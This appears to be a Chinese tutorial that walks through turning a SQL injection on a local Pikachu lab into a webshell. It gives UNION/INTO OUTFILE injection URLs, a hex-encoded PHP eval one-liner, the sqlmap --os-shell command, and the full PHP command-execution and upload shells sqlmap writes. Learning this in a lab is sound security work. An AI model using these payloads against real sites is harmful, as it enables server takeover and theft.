SQL注入到getshell
通過本地 pikachu來復現
前提:
1.存在SQL注入漏洞
2.web目錄具有寫入權限
3.找到網站的絕對路徑
4.secure_file_priv沒有具體值(secure_file_priv是用來限制load dumpfile、into outfile、load_file()函數在哪個目錄下擁有上傳和讀取文件的權限。)
在數據庫中查詢輸入 show global variables like '%secure%';
首先來看一下網站源碼
//這里沒有做任何處理,直接拼到select里面去了 $name=$_GET['name']; //這里的變量是字符型,需要考慮閉合 $query="select id,email from member where username='$name'";
可以看到沒有任何防護措施,通過閉合來達到SQL注入 name=a'構造語句--+
如:http://127.1.0.1/pikachu/vul/sqli/sqli_str.php?name=1'UNION SELECT 1,database()--+&submit=查詢
存在SQL注入,用SQL注入mysql數據庫來寫一句話木馬
利用into outfile函數來寫入文件
?name=1'UNION SELECT 1,<?php eval($_POST['pass']); ?> into outfile 'D:\\Phpstudy\\WWW\\pikachu\\vul\\sqli\\shell.php' --+&submit=查詢
使用以上攻擊會發現,哎~可能是因為特殊符號導致語法錯誤
解決方法:對寫入文件轉16進制,在最前面加上0x 得到0x3c3f706870206576616c28245f504f53545b2770617373275d293b203f3e
構造:?name=1'UNION SELECT 1,0x3c3f706870206576616c28245f504f53545b2770617373275d293b203f3e into outfile 'D:\\Phpstudy\\WWW\\pikachu\\vul\\sqli\\shell.php' --+&submit=查詢
寫入成功
蟻劍連接
還可以sqlmap --os-shell來進行文件寫入
原理:--os-shell就是使用udf提權獲取WebShell。也是通過into oufile向服務器寫入兩個文件,一個可以直接執行系統命令,一個進行上傳文件
使用方法:sqlmap -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name --os-shell
輸入寫入的絕對路徑,輸入命令可以執行,同時文件夾下生成五個php文件
tmpbpxkj.php文件代碼為(作用執行cmd命令)
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
tmpucuaj.php文件代碼(用來文件上傳)
<?php if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=D:\\Phpstudy\\WWW\\pikachu\\vul\\sqli\\> <input type=submit name=upload value=upload></form>";}?>
如圖
tmpubovc.php文件為空
tmpuuzhl.php文件為空
tmpugisl.php文件代碼和tmpucuaj.php相同
可以通過文件上傳來上傳木馬getshell,也可以使用命令寫,例如 echo "hello" > 1.php